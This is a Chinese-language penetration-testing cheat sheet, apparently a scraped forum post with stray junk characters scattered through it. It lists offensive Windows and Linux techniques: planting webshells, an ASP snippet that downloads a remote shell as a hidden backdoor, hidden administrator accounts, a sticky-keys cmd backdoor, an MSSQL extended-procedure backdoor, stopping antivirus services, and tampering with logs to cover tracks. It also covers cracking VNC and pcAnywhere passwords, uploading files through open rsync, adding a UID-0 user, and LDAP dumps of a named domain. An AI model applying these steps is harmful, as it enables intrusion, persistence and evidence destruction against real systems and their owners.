渗透技巧总结

admin

旁站路径问题
. P# ~( a$ b8 t1、读网站配置。
2、用以下VBS
5 X8 O& f7 F7 T$ o7 S+ R+ NOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
% [* d/ _/ A8 u* t
2 ~4 ^- W: e& s6 P& nMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

+ \/ x, T6 f) ]8 }Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
' ~  c# `5 G' i) V# y3 P- oEnd If
5 @: ?# }7 J; ]" gSet ObjService=GetObject
" _+ c% r5 S' J8 q- b
("IIS://LocalHost/W3SVC")
, `! S5 ?( }9 r+ M# nFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
5 W: d. ?" M* Y& `# r+ R8 e& ^4 p7 E9 p
Then
# V) M. L7 f+ J, H: h                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
9 E2 |  P# B, I- |' _         

- ?: I& ?+ g8 f       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
0 `  W  W  U1 E, j. j' }
. O$ u0 O, T  J7 ?; v<> 0 Then WScript.Quit (1)
. }* b& M' P4 o! F7 X3 L' \0 X6 _                WScript.Echo Chr(10) & "[" &

: `; @6 _5 E3 v6 \! cOService.ServerComment & "]"
4 V8 e+ [: r- }& u" v8 R. M; c                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
$ i- Q0 U, m+ B) Q' z* Z; Y                Next
3 K: F. p" s4 I' H. X7 Y      

  p( f/ j2 i1 R9 N% y2 ^         WScript.Echo "ath            : " & VDirObj.Path
4 ?; p& K; u4 v) N7 ]) d! @        End If
; N1 a8 t  P) w$ b# X" vNext
复制代码
) i4 X1 {3 L) R: R" c: M5 x3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
* C/ l* X! V" W' t: ]: L4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
1 L* B* p2 x7 j7 c( ?/ n' ZWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
6 @6 U6 t2 Q& W1 ]9 turl/wp-content/plugins/akismet/hello.php
——————————————————————
! b* @) k5 T8 O) K8 P. o1 DphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
4 d$ i; g' g. ?+ }3 R2 q- OphpMyAdmin/index.php?lang[]=1
5 O. |! X3 o3 r, l& e7 tphpmyadmin/themes/darkblue_orange/layout.inc.php
* V2 D4 t; |5 [# z% G: T————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
" x; S- p/ M( i' O! anetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
/ e$ {" X: l; P% J7 a  ?6 N8 IEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
8 h% P8 ^& x3 e# l' Y0 P0 Jvar o=new ActiveXObject( "Shell.Users" );
* K8 E# h( x( U) C. W$ ^5 Nz=o.create("test") ;
z.changePassword("123456","")
2 l9 d+ l3 Y$ Nz.setting("AccountType")=3;

' [* e8 T( I3 I% g3 I% l0 f+ {vbs:
Set   o=CreateObject( "Shell.Users" )
$ F/ v9 B" v6 C3 e! [3 pSet z=o.create("test")
# w; M% t9 v) M9 c2 A# S9 Pz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
) z2 Z5 K/ y2 x) @6 x. v/ T1 Rcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

) [* J: n0 m/ O; W命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
1 X: S' D: b6 A: f' N8 k0 icacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
) Y% V3 ?* W7 Y7 R# W3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
. b) Y2 i1 V2 D7 l& ^4 E: k* ?; W% ~b、内网环境（LCX）
/ m4 {2 B0 g% E( ~, X" x& V0 Y$ n- V4 L* xc、终端服务器超出了最大允许连接
/ f/ y. O+ c2 I1 S) ]  NXP 运行mstsc /admin
2003 运行mstsc /console   
& T2 F- T0 C# T. |+ v
- q- G) |2 w3 \# D杀软关闭（把杀软所在的文件的所有权限去掉）
( M) k' J2 A" ~- c处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
2 n3 S) X# O  x5 b/ Xnet stop "Symantec AntiVirus Definition Watcher" /y
! x8 N1 l8 _8 [! @net stop "Symantec Event Manager" /y
. @9 K2 r! O( y; Q$ snet stop "System Event Notification" /y
% O7 g5 [* G1 K" m5 X7 Y, X3 Anet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
! {% e4 V/ W7 z5 F2 b9 C, L# A————————————————————
: N/ t4 Z: A' A. V0 [
1 s# l' S7 D+ |2 L: Z5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
4 V: [) o/ ^- L7 O# z$ ^) ucopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" y6 q3 n: w; ]/ N; O4 B——————————————————————
+ I3 [2 A) h/ O  u隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
. }7 f3 Q" h' Z! y+ L6 O3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
& H" ^! U& _/ Q6 SMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
# _, `( n( G9 }. J; s+ q7 W———————————————————————
日志处理
8 C0 ?4 K% w- h& ]* B$ s& c! ?7 zC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
/ H7 g4 b) |2 p/ F: c3 wex011120.log / ex011121.log / ex011124.log三个文件，
9 Y) k* r" k; r0 y" P( P: [( D4 Y6 }直接删除 ex0111124.log
' B& M, K" d! H0 O( k不成功，“原文件...正在使用”
7 i! h  n* u( H/ g5 x1 U当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
2 F& G. o: t8 H- f当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
* j- J% }0 v" R. Y1 G+ e7 hMSSQL 2000位于注册表如下：
; z) n. ]4 M* Z9 [6 y2 C% s% tHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
2 E3 h$ @: e  X找到接接过的信息删除。
5 w1 U3 y  d3 X9 j0 [1 yMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

( g+ Y* l1 c. P! W- _9 K) k  u0 h( }Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

7 C  n# U! }: S, V9 n<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
% I( R+ V% B( a. X+ |+ jOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
% C  I' q& L8 _2 E; c5 I- q# K.Send
GetRemoteData = .ResponseBody
End With
/ b+ Z7 y0 i( QSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
% W" R( b- K/ y9 iWith Ads
.Type = 1
# R+ b4 w, O4 `! v4 C.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
/ a7 H0 q/ i$ L: `1 _$ ~& j' hEnd With
Set Ads=nothing
' ]8 X# B0 p2 D" tEnd Sub
/ c6 @3 L2 S: h& q" T
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
6 z& {5 h  L+ @' Z1 v# H& z%>

VNC提权方法:
, x( N% B& R1 n/ x7 U( s7 z9 o利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
4 _0 t. L9 \2 f& ~- a6 w: HHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
; u4 ~: o0 H, m  F然后用HASH版连接。
8 ^7 S, M) X$ p5 e% ~如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
: m- m1 e) X/ V/ `+ P保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
( v) G( ?5 p/ s: P3 q  _Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
$ B5 [. A: @. f+ }WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
* {( N% K+ ]8 L, g没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
' Q9 R0 A0 V0 Q% N
- j9 N0 g1 L9 E9 e  W1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
6 f2 d1 Z! c5 m! Y3 d+ Z* T2 mstrSQLDBUserName = "数据库帐号"
! b* X' }* |" G" e. kstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
2 E/ D8 g7 d( fSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
" g( B4 M" n4 S7 ?
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
, I$ z6 \: O1 G6 e4 r1 G/ C. O- [7 p6 q
# u/ u/ Z% O" M; FstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
" l1 Z" @- X( k1 qid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
  t6 |! H; [( e( \9 E0 l3 O+ |8 \- o$ S% D复制代码
******liunx 相关******
一.ldap渗透技巧
  }7 H. n6 g* X( Y+ F7 x. ?1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

+ B: p" x* E3 e. U4 C6 @& U! @2.less /etc/ldap.conf
3 v6 @' g; v7 H5 N" Cbase ou=People,dc=unix-center,dc=net
( P9 }: x, e0 l$ l1 A; \找到ou,dc,dc设置
7 b8 o' z$ h# V5 L) G
3.查找管理员信息
" T, u9 {! g* @6 O匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, p" d( s- H" L6 L
1 l: U3 i4 j, @* n9 t- P' X, u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! h7 Q& Z8 g5 _& g2 j' \  b

7 A5 E$ [' @3 y/ k! b$ `4.查找10条用户记录
. U" B$ {& Q. H2 S; B) e/ e- `7 ]9 Bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

. y! J+ t: x' E" {  h0 [实战:
8 a# N8 H1 P( i$ r- p" E( M1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
! M) H6 X( t5 M' l0 h$ p
% L5 f  s9 I/ `6 Z. A2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
6 {) A- [) Y& c, k, v
9 y/ P% v, p, @( \5 e3.查找管理员信息
匿名方式
: Q- |3 U0 U* |: K9 dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 o, S+ B( }% l* L5 B) O" z" H) G
/ L' f! F% |) {# Q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
3 ^- X# T+ Q3 S; [' b3 oldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

* ^* \1 g4 Q6 B3 [! B"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, ~' Z5 v; D* a1 P

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
( A; d7 P, W( A
渗透实战:
1.返回所有的属性
" G$ |3 k9 W5 I; E( J: Kldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
# J5 y' t( b* M) i, T& ndc: ruc
objectClass: domain

$ v" T% v" e* n9 Z) i, Pdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
" ?* Y8 D6 f' z: k* v2 RobjectClass: inetOrgPerson
- V. Q  U- n$ d: \+ ?objectClass: organizationalPerson
' j+ d) r7 V& \1 [9 aobjectClass: person
objectClass: top
6 a& S8 d; t& I* b) p; Z. B$ ^- esn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
% _; [7 l& \% \8 [uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
6 u+ }0 @/ w7 _7 PobjectClass: person
4 l# ?8 g2 z2 i. G! HobjectClass: top
  c4 h' m5 X( |. d6 H- r' ]sn: superadmin
% G2 ?0 q! N, k8 ocn: superadmin

* C# `* C% I3 bdn: uid=admin,dc=ruc,dc=edu,dc=cn
8 ~$ {! ]! N: p1 w$ wuid: admin
! r3 q6 c" D# {6 V3 nobjectClass: inetOrgPerson
( _- f# E6 H' r3 L9 w, AobjectClass: organizationalPerson
objectClass: person
objectClass: top
3 [6 j: |8 k3 e$ f/ ]( Asn: admin
cn: admin
- f! _6 {! G( s; c; V
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
" L  {( W; x! v' Y+ _3 }2 lobjectClass: inetOrgPerson
8 W& c6 l! y( K( V8 xsn: dcp_anonymous
cn: dcp_anonymous
6 G: H, Z- m8 m1 c1 m
# ^8 i! b  O$ b( N, Q2.查看基类
3 y$ A0 J: ~! E; v2 Sbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
! Z; T" W. m0 l) D1 z* z0 L- m
more
7 D/ H: O$ B9 _version: 1
dn: dc=ruc,dc=edu,dc=cn
( G, k$ m! M* I: l! Ndc: ruc
; K% I9 `5 s5 Z3 {- X3 Y8 O( IobjectClass: domain
& I! P; t  Z9 n9 W1 ^. b( P
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
# b$ D) T# @& `, Q, D+ G9 l) Eversion: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
: o& W8 a0 y: h) PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
- h% }5 m# y9 T1 msupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
" t( k9 M  B: v) E$ XsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
" n% L4 Z6 j, E6 Q2 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
; g* T1 X  R. z. p3 ~( e; _' JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
) t3 v( q6 Z* x/ z/ nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
( O  a: n' g, e' C+ [9 z0 c9 g! ^6 @5 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
8 H6 y- S( w9 e2 G# JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
9 C3 S2 f, p* d' D4 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
1 `, e* {0 v5 d2 b$ r- i8 P! nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
; }: `" s& p0 ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
7 G; z; H$ L# v$ y& v7 _9 F& A8 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
, ~. Y" c8 w  v2 Z3 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
7 ?8 d( v1 l. B2 }3 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
1 K( x, Q4 j, y0 b: XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
* {2 S0 F2 M( g* C3 c5 D( ^" tsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
% H/ K; h+ c6 i6 N% K, C* MsupportedControl: 2.16.840.1.113730.3.4.5
6 m8 _: H. U: P$ rsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
: \/ e. G+ z0 v1 u' {: S% i4 UsupportedControl: 2.16.840.1.113730.3.4.16
5 G, f& i3 U9 N4 s$ WsupportedControl: 2.16.840.1.113730.3.4.15
# [* {4 J( I6 k4 D' j+ E& EsupportedControl: 2.16.840.1.113730.3.4.17
# u/ z$ W/ @3 {+ D# ^3 MsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
) P0 }& c1 W, D; A2 }) vsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
) Z5 F) V7 w& H8 Y. JsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
( _- }$ k) W" fsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
$ C# ^: [7 {1 X5 n# J4 QsupportedLDAPVersion: 2
supportedLDAPVersion: 3
4 v, q7 \- [: c8 xvendorName: Sun Microsystems, Inc.
( v" j& L% ^2 c* xvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
/ U. U6 c  T. c* e7 FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
' x  A" z# c$ p9 n+ WsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0 G- x- ^! O, F3 @supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
5 |8 W; R% v# B. b. n0 m! usupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
: s+ o( F" ^5 u( esupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
: y" }& D" K. D( Y- h& usupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
- @+ Y8 c+ c2 G6 w6 s( G; N4 Y2 vsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  Q3 A! ?) P, s1 a% W( G$ a! W0 YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0 E& c4 p9 T6 [, |  s, `* TsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
: n/ t( ?- T0 [- EsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
6 ?) i! i( U# ]9 f0 o1 {' z5 NsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
( y* r2 B" p6 h& jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
+ G; i8 [7 Z9 e: \2 esupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
! i' T/ N% B# E! asupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
5 f% ?+ F% {( k. P$ `4 U  }supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
+ \2 y; b; X2 ^supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
/ R3 B6 z" d# ~) X% usupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
0 q) p/ U$ r: }$ D7 msupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
; [( f7 c" _0 q) U9 nsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
, b, C( a6 J0 d7 JsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
6 W/ ]6 g4 r! Y2 t1 _& m, @% ?supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
8 r3 T+ x0 t/ Y' N0 {1 AsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
$ C" T% X  j; t- E' T& VsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
# R8 X2 e) b% F. C" t  ZsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
( p! U3 T% Z8 n" r# R4 hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
1 m& `/ T4 q# o, V. D  PsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
  L2 l) |0 T, X7 E# v' n; {, D; {supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
7 A  Z+ ]! N  [$ t2 V4 k- B( g0 KsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
3 i* w3 Z  @3 {# e' U0 MsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
% X; }) k, c. Q6 h" gsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
2 |% j9 z/ \- B* ?————————————
2. NFS渗透技巧
- f: c' n9 ?7 l  a  [9 wshowmount -e ip
$ ]! ?: @. G, `列举IP
——————
3.rsync渗透技巧
, S, x7 ?4 o6 d; h7 t1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
/ a- H9 m" Z/ V9 F' V; ]" ?8 Iimg_finance
; p: W3 M* C) ], X& E6 |+ ?$ C& yauto
+ I( R$ m8 N5 M# }4 f# r1 V; D0 R; V3 kimg_auto
" A4 T8 P( Q( I* g1 Hhtml_cms
3 Y6 G& G, X0 L0 {. c7 p; `. Timg_cms
2 a" ?6 j+ A1 w( B- V, ?ent_cms
3 K9 N; c7 [. n$ p: lent_img
: p9 D; x; a% m( r4 d+ }/ u3 Eceshi
. `7 n) O7 _$ j6 D" o4 }res_img
res_img_c2
4 R( \/ U8 F! o8 hchip
chip_c2
/ C7 \& B- l: w5 Lent_icms
games
gamesimg
media
: k% v# s3 ]1 i' X  Cmediaimg
% s: T) A7 F( H3 c% l% p5 Ofashion
( R! v7 S; X% m5 Q6 |res-fashion
2 \  \3 w6 z& g/ I  R7 nres-fo
6 y1 F( i. g- _" l% F' Rtaobao-home
& R9 C7 P# r5 |9 V* R/ R% E! eres-taobao-home
) P9 n2 e; l- `5 T6 ohouse
2 ?; a6 u* {' V3 ?8 ores-house
res-home
res-edu
, g. _% _7 r( ?7 a, rres-ent
  U* ^% {1 I9 M8 g' rres-labs
res-news
res-phtv
res-media
home
9 v! Q% }, _7 _6 {6 xedu
9 u- V# U7 F; b8 N3 H6 M+ ?$ Wnews
res-book
: M+ q1 o) V5 h2 ~9 |4 E, J6 Z$ a
7 B8 p( @6 F6 Q5 i看相应的下级目录(注意一定要在目录后面添加上/)

) m# A; {3 ]& y
; i4 D  Z( V) A7 k) w# K8 j8 [rsync 210.51.X.X::htdocs_app/
; y1 P. |3 J6 P5 arsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

+ V& F; Y3 ~  T: d3 F; j  M2.下载rsync服务器上的配置文件
) p0 I. Z) |( x( E4 P/ Zrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

, J8 q4 F( ?5 W  `4 a0 [$ z" m) Q3.向上更新rsync文件(成功上传,不会覆盖)
% Z( O+ ]- b! Y2 vrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
: {) b5 V. ], p, w7 V+ @6 @) lhttp://app.finance.xxx.com/warn/nothack.txt
* f5 |8 Y# k, }  G4 r
四.squid渗透技巧
nc -vv baidu.com 80
7 H7 d# ~- l" VGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

2 D5 Q: r) d! z6 H# i$ k六.joomla渗透小技巧
- K- ?: v- R5 N' C$ n确定版本
" y) ~$ Q& ~2 Qindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
( ?  w  ]9 N8 b) U
$ y4 D1 @: `$ v+ b7 H6 a: N15&catid=32:languages&Itemid=47
0 Y5 B" a( L( M- r! d% q
重新设置密码
8 |/ S0 u  P. }* B1 t- P' u! Pindex.php?option=com_user&view=reset&layout=confirm
, v2 x4 U. _. f5 e
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
  G6 ^  u' ?- P5 K& A7 T, K" ^* freebsd 7.3-RELEASE GENERIC
% A. x8 P* Q0 F) F# M& @* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
